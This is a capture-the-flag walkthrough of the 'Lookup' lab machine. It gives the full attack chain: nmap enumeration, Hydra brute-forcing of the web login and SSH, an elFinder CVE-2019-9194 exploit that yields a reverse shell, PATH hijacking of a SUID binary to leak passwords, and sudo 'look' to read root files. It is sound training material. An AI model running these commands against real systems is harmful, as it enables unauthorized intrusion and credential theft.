Challenge description
Lookup offers a treasure trove of learning opportunities for aspiring hackers. This intriguing machine showcases various real-world vulnerabilities, ranging from web application weaknesses to privilege escalation techniques. By exploring and exploiting these vulnerabilities, hackers can sharpen their skills and gain invaluable experience in ethical hacking. Through "Lookup," hackers can master the art of reconnaissance, scanning, and enumeration to uncover hidden services and subdomains. They will learn how to exploit web application vulnerabilities, such as command injection, and understand the significance of secure coding practices. The machine also challenges hackers to automate tasks, demonstrating the power of scripting in penetration testing.
Challenge Overview
In this challenge, we are tasked with gaining access to a vulnerable web application, escalating our privileges, and ultimately retrieving the root flag. The target system hosts a login page and a file management system, which we will enumerate and exploit to achieve our objective.
Enumeration
Nmap Scan
To begin, we perform a comprehensive scan of the target machine to identify open ports and services:
nmap -sC -sV -v -p- -oN lookup.nmap 10.10.223.218Scan Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 445f26674b4a919b597a9559c84c2e04 (RSA)
| 256 0a4bb9b177d24879fc2f8a3d643aad94 (ECDSA)
|_ 256 d33b97ea54bc414d0339f68fadb6a0fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.thm
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelThe scan reveals two open ports:
- 22/tcp: SSH service running OpenSSH 8.2p1
- 80/tcp: HTTP service running Apache httpd 2.4.41
Web Enumeration
Accessing the Web Application
Navigating to the target machine's IP address redirects us to http://lookup.thm. To access this domain, we add it to our /etc/hosts file:
echo "10.10.223.218 lookup.thm" | sudo tee -a /etc/hostsUpon visiting http://lookup.thm, we find a login page:

Credential Brute-Force Attack
Username Enumeration
Testing with admin:admin returns an error message indicating an incorrect password, which suggests that the username admin exists. This allows us to perform a brute-force attack.
hydra -l admin -P /usr/share/wordlists/seclists/Passwords/2020-200_most_used_passwords.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password."Output:
[80][http-post-form] host: lookup.thm login: admin password: redactedAlthough we find a valid password, logging in still fails. We pivot to brute-forcing usernames using redacted.
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p redacted lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong"Output:
[80][http-post-form] host: lookup.thm login: jose password: redactedNow, logging in as jose grants access to the application.
File Management System Exploitation
Upon login, we are redirected to http://files.lookup.thm/. After adding it to /etc/hosts, we gain access to the file manager system called Elfinder.

Checking for vulnerabilities, we find CVE-2019-9194, which allows an attacker to upload a malicious PHP payload for remote code execution.
Exploiting Elfinder
We found the exploit script on GitHub.
python3 exploit.py -t 'http://files.lookup.thm/elFinder/' -lh 127.0.0.1 -lp 4444We successfully obtain a reverse shell as www-data:
www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ whoami
www-dataPrivilege Escalation
Finding Credentials
Listing /home, we find a user think. Searching for files with the SUID bit set:
find / -type f -perm -u=s 2>/dev/nullWe identify /usr/sbin/pwm as a potential target.
Exploiting pwm
Running it returns:
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not foundWe can hijack the id command by modifying the $PATH variable:
echo "echo 'uid=1001(think) gid=1001(think) groups=1001(think)'" > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATHRunning pwm again now leaks the passwords:
jose1006
jose1004
josemario.AKA(think)Using hydra to brute-force SSH with the leaked passwords:
hydra -l think -P passwords.txt 10.10.16.248 sshWe successfully log in using think:redacted.
ssh think@10.10.16.248
think@lookup:~$ id
uid=1000(think) gid=1000(think) groups=1000(think)Now, we can read the user flag:
cat user.txt
THM{USER_FLAG}Root Privilege Escalation
Checking sudo permissions:
sudo -lUser think may run the following commands on lookup:
(ALL) /usr/bin/lookUsing GTFOBins, we find that look can read arbitrary files as root:
LFILE=/root/root.txt
sudo look '' "$LFILE"This successfully retrieves the root flag:
THM{ROOT_FLAG}